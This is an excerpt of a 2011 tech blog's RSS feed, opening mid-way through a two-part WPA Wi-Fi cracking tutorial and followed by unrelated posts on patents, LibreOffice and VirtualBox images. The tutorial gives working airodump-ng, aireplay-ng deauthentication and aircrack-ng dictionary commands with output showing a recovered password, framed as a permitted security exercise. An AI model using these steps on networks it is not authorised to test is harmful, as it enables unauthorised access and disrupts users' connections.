OPN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
OpenNet <br>
&nbsp;<br>
&nbsp;BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
STATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR&nbsp;&nbsp; Rate&nbsp;&nbsp;&nbsp; Lost&nbsp; Packets&nbsp; Probes<br>
<br>
&nbsp;00:12:34:56:98:AB&nbsp; 00:11:EF:8B:62:77&nbsp;
-39&nbsp;&nbsp;&nbsp; 0 -36e&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6&nbsp; Target_Net &nbsp; </span><span
style="color: white; font-weight: bold;"></span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Hit Ctrl+C to stop the capture and note the target's Channel number and
BSSID for input into the next step. (Note that I'm targeting a WPA2
network. That WEP would just be too easy!)<br>
<br>
<br>
<br>
<span style="font-weight: bold;">3. Begin the capture</span><br>
We now want to capture just the data going to a particular target. We
do so using the following syntax:<br>
<br>
<big style="font-weight: bold; font-family: monospace;">airodump-ng -c (<span
style="font-style: italic;">channel</span>) -w (<span
style="font-style: italic;">name of the capture file)</span> --bssid (<span
style="font-style: italic;">bssid</span>) mon0</big><br>
<br>
So targeting Target_Net (above) would give us ...<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 255, 204);"><big
style="font-weight: bold; font-family: monospace;">a</big><big
style="font-weight: bold; font-family: monospace;">irodump-ng -c 3 -w
Test_Data --bssid 00:12:34:56:98:AB mon0</big> </td>
</tr>
</tbody>
</table>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">&nbsp;CH&nbsp; 3 ][ Elapsed:
4 mins ][ 2011-10-04 21:42 ]<br>
&nbsp;BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR RXQ&nbsp; Beacons&nbsp;&nbsp;&nbsp; #Data, #/s&nbsp; CH&nbsp;
MB&nbsp;&nbsp; ENC&nbsp; CIPHER AUTH ESSID<br>
&nbsp;00:12:34:56:98:AB&nbsp; -51&nbsp; 64&nbsp;&nbsp;&nbsp;&nbsp;
1746&nbsp;&nbsp;&nbsp;&nbsp; 9642&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
3&nbsp; 54e. WPA2 CCMP&nbsp;&nbsp; PSK&nbsp; Target_Net<br>
&nbsp;BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
STATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR&nbsp;&nbsp; Rate&nbsp;&nbsp;&nbsp; Lost&nbsp; Packets&nbsp; Probes<br>
&nbsp;00:12:34:56:98:AB&nbsp; 00:11:EF:8B:62:77&nbsp; -38&nbsp;&nbsp;
24e-24e&nbsp;&nbsp; 115&nbsp;&nbsp;&nbsp;&nbsp; 9701&nbsp; Target_Net</span><span
style="color: white; font-weight: bold;"></span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Now we can simply wait for a WPA handshake to occur, or we can try and
push things along.<br>
<br>
<br>
<br>
<span style="font-weight: bold;">4. (Optional) Forcing a handshake</span><br>
Open a new console window while the first continues running and use
aireplay-ng to inject packets into the network to de-authenticate the
client. When you do so, the client will re-authenticate via a WPA
handshake, and that's exactly what we want!<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 255, 204);"><span
style="font-family: monospace;"><span style="font-weight: bold;">aireplay-ng
-0 3 -a </span></span><big
style="font-weight: bold; font-family: monospace;">00:12:34:56:98:AB</big><span
style="font-family: monospace;"><span style="font-weight: bold;"> mon0</span></span><br>
</td>
</tr>
</tbody>
</table>
<br>
There are tons of options with aireplay-ng, but -0 3 (send three
de-authentications) worked for me ...<br>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">21:43:34&nbsp; Waiting for
beacon frame (BSSID: </span></big><big
style="font-weight: bold; font-family: monospace; color: white;">00:12:34:56:98:AB</big><span
style="font-family: monospace; color: white;"><span
style="font-weight: bold;"></span></span><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">) on channel 3<br>
NB: this attack is more effective when targeting<br>
a connected wireless client (-c &lt;client's mac&gt;).<br>
21:43:34&nbsp; Sending DeAuth to broadcast -- BSSID: [</span></big><big
style="font-weight: bold; font-family: monospace; color: white;">00:12:34:56:98:AB</big><span
style="font-family: monospace; color: white;"><span
style="font-weight: bold;"></span></span><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;"></span></big><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">]<br>
21:43:35&nbsp; Sending DeAuth to broadcast -- BSSID: [</span></big><big
style="font-weight: bold; font-family: monospace; color: white;">00:12:34:56:98:AB</big><span
style="font-family: monospace; color: white;"><span
style="font-weight: bold;"></span></span><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;"></span></big><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">]<br>
21:43:35&nbsp; Sending DeAuth to broadcast -- BSSID: [</span></big><big
style="font-weight: bold; font-family: monospace; color: white;">00:12:34:56:98:AB</big><span
style="font-family: monospace; color: white;"><span
style="font-weight: bold;"></span></span><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;"></span></big><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">]</span><span
style="color: white; font-weight: bold;"></span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
How do you know if it worked? Check the top right-hand corner of the
first console and you should see confirmation.<br>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">&nbsp;CH&nbsp; 3 ][ Elapsed:
5 mins ][ 2011-10-04 21:43 ]<span style="color: rgb(153, 255, 153);">[
WPA handshake: </span></span></big><big
style="font-family: monospace; color: rgb(153, 255, 153);"><span
style="font-weight: bold;">00:12:34:56:98:AB</span></big><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;"> <br>
&nbsp;BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR RXQ&nbsp; Beacons&nbsp;&nbsp;&nbsp; #Data, #/s&nbsp; CH&nbsp;
MB&nbsp;&nbsp; ENC&nbsp; CIPHER AUTH ESSID<br>
&nbsp;00:12:34:56:98:AB&nbsp; -51&nbsp; 64&nbsp;&nbsp;&nbsp;&nbsp;
1746&nbsp;&nbsp;&nbsp;&nbsp; 9642&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
3&nbsp; 54e. WPA2 CCMP&nbsp;&nbsp; PSK&nbsp; Target_Net<br>
&nbsp;BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
STATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PWR&nbsp;&nbsp; Rate&nbsp;&nbsp;&nbsp; Lost&nbsp; Packets&nbsp; Probes<br>
&nbsp;00:12:34:56:98:AB&nbsp; 00:11:EF:8B:62:77&nbsp; -38&nbsp;&nbsp;
24e-24e&nbsp;&nbsp; 115&nbsp;&nbsp;&nbsp;&nbsp; 9701&nbsp; Target_Net</span><span
style="color: white; font-weight: bold;"></span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
<br>
<br>
<span style="font-weight: bold;">5. Apply a little brute force</span><br>
We have all the data we need, now it's just a matter of (hopefully)
cracking the password. Locate the file where you saved the data in Step
3, the password wordlist you <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks.html">downloaded
last time,</a> and run them through aircrack-ng. The format is;<br>
<br>
<big style="font-family: monospace;"><span style="font-weight: bold;">aircrack-ng
-w(<span style="font-style: italic;">dictionary file</span>) (<span
style="font-style: italic;">data file</span>)</span></big><br>
<br>
You'll see that Step 3's saved several files with different extensions.
The one aircrack-ng needs is the .cap file, so in my case I run ...<br>
<br>
<table style="text-align: left; width: 100%;" border="0" cellpadding="2"
cellspacing="2">
<tbody>
<tr>
<td
style="vertical-align: top; background-color: rgb(255, 255, 204);"><span
style="font-family: monospace;"><span style="font-weight: bold;">aircrack-ng
-w wordlist.txt Test_Data.cap</span></span><br>
</td>
</tr>
</tbody>
</table>
<br>
Now it's just a matter of waiting while aircrack-ng tries the possible
password combinations.<br>
<br>
<table style="text-align: left; width: 100%; background-color: black;"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><big
style="font-family: monospace;"><span
style="color: white; font-weight: bold;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Aircrack-ng 1.1 r1904<br>
<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
[00:32:51] 850148 keys tested (455.42 k/s)<br>
<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
KEY FOUND! [ swedishchef ]<br>
<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Master Key&nbsp;&nbsp;&nbsp;&nbsp; : 80
FD 4C 4D 72 34 5F 08 83 67 A0 E5 D3 73 06 EB <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
6B 9F D6 2D AA E4 EC C2 24 7D F7 D3 EF A7 6E FE <br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Transient Key&nbsp; : 97 13 7B FF DF 0A
29 07 85 3A 0F FA FC 4D 62 92 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
14 F8 33 9B 67 01 08 B3 DE 21 49 B9 53 F7 D9 FF <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
18 9A BA 40 B6 A3 2D 92 CB 27 A7 7A EE F6 7A F0 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
21 52 8E 50 00 14 35 F8 4A 0A 5D 49 BC 15 E2 08 <br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EAPOL HMAC&nbsp;&nbsp;&nbsp;&nbsp; : 85
31 D0 6F 21 8F D7 7A D9 FA EF F1 66 4B 5A B2</span><span
style="color: white; font-weight: bold;"></span><br
style="color: white; font-weight: bold;">
</big><br>
</td>
</tr>
</tbody>
</table>
<br>
Bingo! And there's our password. Simple as that!<br>
<br>
<br>
<br>
So what can you do to maximise your security and prevent hacks like
this? Read Part III, coming soon...!<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"><img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks_1.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks_1.html</guid>
         <category>Security</category>
         <pubDate>Wed, 05 Oct 2011 23:01:41 +1300</pubDate>
      </item>
            <item>
         <title>Cracking WPA wireless networks</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/spy.gif" alt=""
style="width: 119px; height: 120px; float: left;" align="left"
hspace="5" vspace="5"><span style="font-weight: bold;">Part I:
Assembling the tools</span><br>
<br>
Wireless networks are everywhere, but many are insecure. The older <a
href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy">WEP
protocol</a> has been thoroughly compromised and most users rely on the
more robust <a
href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access">WPA protocol</a>.
But a chain is only as strong as its weakest link, and that weak link
is invariably the password used to secure the network. So I decided to
try a little wi-fi cracking to see how easy it is ...<br>
<br>
Wow! In little over an hour I went from neophyte to bona fide cracker,
my first pwned network under my belt. It's disturbingly simple. Here's
how I did it ...<br>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 238, 238); color: rgb(204, 0, 0);"
border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><span
style="text-decoration: underline; font-weight: bold;">Note:</span>
The network I cracked belonged to a friend. I did so with his
permission, purely as a security exercise. <span
style="font-style: italic;">Using these tools for any
other purpose is probably illegal!</span></td>
</tr>
</tbody>
</table>
<br>
<br>
The basic toolset consists of three parts:<br>
<ol>
<li>aircrack-ng</li>
<li>a wordlist</li>
<li>a suitable wireless receiver</li>
</ol>
<br>
First, the easy stuff ...<br>
<br>
<br>
<span style="font-weight: bold;">The Software</span><br>
<a href="http://en.wikipedia.org/wiki/Aircrack-ng">Aircrack-ng</a>
isn't a single program, it's a suite of more than a dozen tools for
auditing wireless networks. It runs under Linux and Windows, there's a
version for VMWare virtual machines, and even a proof-of-concept
version for the iPhone. <br>
<br>
Linux users can install the whole suite by simply selecting
"aircrack-ng" from their distribution's repository. Other users can
download the latest from <a href="http://www.aircrack-ng.org/">aircrack-ng's
site</a>.<br>
<br>
Another alternative is to download the ready-built <a
href="http://www.aircrack-ng.org/doku.php?id=slitaz">Slitaz Live
Aircrack-ng Distribution</a>. It's a bootable Linux CD with aircrack-ng
built in. <br>
<br>
The other piece of software you'll need is a <a
href="http://en.wikipedia.org/wiki/Password_strength">password wordlist</a>.
The way WPA cracking works is to take one word at a time from the
wordlist and try it in various common combinations to see if its
encoded form matches what's been captured. If this sounds slow and
laborious, it is, but it's the sort of thing that computers excel at.
Depending on your processor, it's possible to test many thousands of
combinations per second.<br>
<br>
Googling for "wordlists" will turn up dozens, in many different
languages. I settled for the English dictionary from <a
href="http://www.insidepro.com/eng/download.shtml">this collection</a>.
It contains a modest 300,000 possible passwords in a 1MB file.
Obviously, the bigger the wordlist, the more likely you are to crack
the password. If you're really keen, there's the <a
href="http://www.openwall.com/wordlists/">Openwall Wordlist Collection</a>,
a 33GB whopper that costs around US$30.<br>
<br>
<br>
<span style="font-weight: bold;">The Hardware</span><br>
To begin cracking you'll also need a suitable network card, one that
can be flipped into what's known as "monitor mode". The aircrack-ng
website has a useful tutorial here: <a
href="http://www.aircrack-ng.org/doku.php?id=compatible_cards"><span
style="font-style: italic;">Is My Wireless Card Compatible?</span></a><br>
<br>
If you do have a compatible card, use their <a
href="http://www.aircrack-ng.org/doku.php?id=getting_started">Compatibilty
Drivers</a> to see if aircrack-ng will work okay with it, and what
drivers you'll need, if any.<br>
<br>
If all that sounds a bit daunting, you can simply buy a suitable USB
network card and bypass the one in your PC. <a
href="http://www.aircrack-ng.org/doku.php?id=faq#what_is_the_best_wireless_card_to_buy"><span
style="font-style: italic;">What is the Best Wirelss Card to Buy?</span></a>
will help. I picked up a USB-based RTL8187L device for a little over
$20.<br>
<br>
<br>
<br>
We're now ready for the fun stuff. Part II coming soon ...!<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"><img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/cracking_wpa_wireless_networks.html</guid>
         <category>Security</category>
         <pubDate>Sun, 02 Oct 2011 10:02:24 +1300</pubDate>
      </item>
            <item>
         <title>Patent nonsense</title>
         <description><![CDATA[<img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/software_patents.jpg"
alt="" style="width: 96px; height: 128px; float: left;" align="left"
hspace="5" vspace="5">Oh,the irony! After Apple tried to have the sale
of Samsung's <a
href="http://pcworld.co.nz/pcworld/pcw.nsf/mobile/review-samsung-galaxy-tab-101">Galaxy
Tab 10.1</a> tablet blocked in Europe, Samsung may in turn try to have
the release of Apple's iPhone 5 blocked there -- and possibly elsewhere
around the world. That's because the iPhone's expected to make use of "<a
href="http://www.theregister.co.uk/2011/09/21/samsung_could_block_iphone_5_in_europe_patent_wars_rumble_on/">some
basic telecoms technology that Samsung has patented</a>".<br>
<br>
According to <a
href="http://www.koreatimes.co.kr/www/news/tech/2011/09/133_94958.html">The
Korea Times</a>,it'll almost certainly be banned in Korea for the same
reason.<br>
<br>
Last month's scheduled release of the Galaxy Tab was delayed in
Australia because of Apple's patent claims, so there was little
surprise when, on Monday, Samsung filed a counter-claim, <a
href="http://www.reuters.com/article/2011/09/19/us-samsung-apple-australia-idUSTRE78I0SW20110919">accusing
Apple of infringing seven of its Australian wireless patents in the
iPhone and iPad</a>.<br>
<br>
Now do you see how software patents encourage innovation and the
development of new products ...?<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"><img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/patent_nonsense.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/patent_nonsense.html</guid>
         <category>News</category>
         <pubDate>Thu, 22 Sep 2011 03:18:30 +1300</pubDate>
      </item>
            <item>
         <title>LibreOffice latest ...</title>
         <description><![CDATA[<a href="http://www.libreoffice.org/"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/libreoffice-icon.jpg"
alt=""
style="border: 0px solid ; width: 68px; height: 77px; float: left;"
align="left" hspace="5" vspace="5"></a>
Now you can take it with you! <a href="http://libreoffice.org">LibreOffice</a>
has been released as a <a href="http://portableapps.com/">PortableApp</a>,
meaning you can carry it around with you on a USB stick and use it
anywhere -- and all your files -- on any Windows machine, without
having to install it. (It will also run under <a
href="http://www.winehq.org/">Wine</a> on Linux machines.)<br>
<br>
More details about LibreOffice Portable <a
href="http://www.libreoffice.org/download/portable/">here</a>, and
here are <a
href="http://download.documentfoundation.org/libreoffice/portable/3.3.4/">the</a>
<a href="http://portableapps.com/apps/office/libreoffice_portable/">links</a>.<br>
<br>
In other news, LibreOffice have started a couple of new sites to house
extensions and templates. Both are currently in beta, but you can check
them out <a href="http://extensions-test.libreoffice.org/">here</a>
and <a href="http://templates-test.libreoffice.org/">here</a>.<br>
<small><span style="font-style: italic;"><br>
</span></small><small><span style="font-style: italic;"><br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/libreoffice_latest.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/libreoffice_latest.html</guid>
         <category></category>
         <pubDate>Fri, 16 Sep 2011 05:44:03 +1300</pubDate>
      </item>
            <item>
         <title>Hidden Linux : Images for all!</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/hiddenlinux.png"
alt="" style="width: 128px; height: 128px; float: left;" hspace="5"
vspace="5">More Linuxes. Oh goody! That was my reaction to discovering
<a href="http://virtualboxes.org">VirtualBoxes</a>.&nbsp; <br>
&nbsp;<br>
I've sung the praises of <a href="http://virtualbox.org/">VirtualBox</a>
a <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2008/04/hidden_linux_virtualbox.html">couple
of times</a> in <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2009/05/hidden_linux_virtualbox_revisi.html">the
past</a>. <br>
&nbsp;<br>
Now here's a site that provides virtual machines images to save you the
hassle of downloading and installing them individually. There are more
than 30 Linux images -- everything from <a
href="http://www.archlinux.org/">ArchLinux</a> to <a
href="http://www.zenwalk.org/">Zenwalk</a>. <br>
&nbsp;<br>
There are three <a href="http://hub.opensolaris.org/bin/view/Main/">OpenSolaris</a>
images, a couple of <a href="http://www.freebsd.org/">FreeBSD</a>
ones, and more than half-a-dozen others, including <a
href="http://www.android-x86.org/">Android-86</a>, <a
href="http://plan9.bell-labs.com/plan9/">Plan 9</a> and <a
href="http://freedos.sourceforge.net/">FreeDOS</a>. <br>
&nbsp;<br>
There's some good documentation on how to <a
href="http://virtualboxes.org/doc/register-and-load-a-downloaded-image/">register
and download an image</a>,&nbsp; and how to manage <a
href="http://virtualboxes.org/doc/managing-users-passwords-unix/">users
and passwords</a>. <br>
&nbsp;<br>
So what are you waiting for ...?<br>
<small><span style="font-style: italic;"></span></small><br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/hidden_linux_multiple_libreoff.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/previous.jpg"
alt="Previous Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/10/hidden_linux_recomposing_compo.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/next.jpg"
alt="Next Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"><br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/hidden_linux_images_for_all.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/hidden_linux_images_for_all.html</guid>
         <category>Hidden Linux</category>
         <pubDate>Mon, 05 Sep 2011 21:38:39 +1300</pubDate>
      </item>
            <item>
         <title>The power of Linux</title>
         <description><![CDATA[Spotted this snippet on the latest <a
href="http://www.tuxradar.com/content/podcast-season-3-episode-16">Tux
Radar podcast</a>. It has a particularly local flavour ...<br>
<br>
<br>
<a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/tuxradar_s03e16-snippet2.mp3"><img
style="border: 0px solid ; width: 204px; height: 90px;" alt="Tux Radar"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/tuxradar.png"></a><br>
<br>
<small>(Click the graphic to play the snippet </small><small>or
right-click to download it.)</small><br>
<small><span style="font-style: italic;"></span></small><br>
If you <a
href="http://www.tuxradar.com/files/podcast/tuxradar_s03e16.mp3">download
the whole podcast</a>, you'll find it at around 41:30 ...<br>
<small><span style="font-style: italic;"></span></small><small><span
style="font-style: italic;"><br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/the_power_of_linux.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/the_power_of_linux.html</guid>
         <category>Software</category>
         <pubDate>Fri, 26 Aug 2011 19:42:22 +1300</pubDate>
      </item>
            <item>
         <title>Hidden Linux : Multiple LibreOffice installations</title>
         <description><![CDATA[<img src="http://blogs.pcworld.co.nz/pcworld/tux-love/hiddenlinux.png"
alt="" style="width: 128px; height: 128px; float: left;" hspace="5"
vspace="5">

As I mentioned <a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/libreoffice_liberation.html">last
time</a>, installing multiple copies of <a
href="http://www.libreoffice.org">LibreOffice</a> is easy and it
allows you to run a <a href="http://www.libreoffice.org/download/">final
release version</a> while trying out new features in the <a
href="http://www.libreoffice.org/download/pre-releases/">latest
pre-release</a>, or even see what the developers are up to with their <a
href="http://dev-builds.libreoffice.org/daily/">nightly-builds</a>.<br>
<br>
Here's how to go about it ...<br>
<br>
<ol start="1" style="font-weight: bold;">
<li>Download the code<br>
</li>
</ol>
<div style="margin-left: 40px;">From the sources above, download the
version appropriate to your architecture and operating system. To
detect the former, open a console window and enter <big
style="font-family: monospace;"><span style="font-weight: bold;">uname
-i</span></big> or <big style="font-family: monospace;"><span
style="font-weight: bold;">uname -a</span></big>. If either shows
"x86_64", you're running a 64-bit system. </div>
<div style="text-align: center;"><img
style="width: 341px; height: 143px;" alt=""
src="http://blogs.pcworld.co.nz/pcworld/tux-love/LO-01.jpg"><br>
</div>
<br>
<div style="margin-left: 40px;">Fedora, openSUSE and Mandriva users
should download RPM packages.<br>
</div>
<div style="margin-left: 40px;">Ubuntu, Linux Mint and Debian users
should download DEB packages.<br>
</div>
<br>
<br>
<ol start="2" style="font-weight: bold;">
<li>Unpack the download.</li>
</ol>
<div style="margin-left: 40px;">Still in the console, extract the
installation files with the command:<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;"><big>tar -vxzf
file-name</big><big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<small><span style="font-style: italic;"></span></small>
<div style="margin-left: 40px;"><small><span style="font-style: italic;"></span></small>The
new folder will have a name like <span style="font-style: italic;">LibO_3.4.2rc3_Linux_x86_install-deb_en-GB</span>.<br>
</div>
<br>
<br>
<ol start="3" style="font-weight: bold;">
<li>Prepare the alternate installation.</li>
</ol>
<div style="margin-left: 40px;">Change directory to the new folder ...<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;"><big>cd
LibO_3.4.2rc3_Linux_x86_install-deb_en-GB</big><big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<div style="margin-left: 40px;">... and depending on whether you have
DEB or RPM packages ...<br>
</div>
<div style="margin-left: 40px;"><br>
</div>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big> </big><tbody>
<big> </big><tr>
<big> </big><td
style="vertical-align: top; font-weight: bold; font-family: monospace;"><big>cd
DEBS </big></td>
<big> </big></tr>
<big> </big>
</tbody><big></big>
</table>
<small><span style="font-style: italic;"></span></small><br>
<div style="margin-left: 40px;">or<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
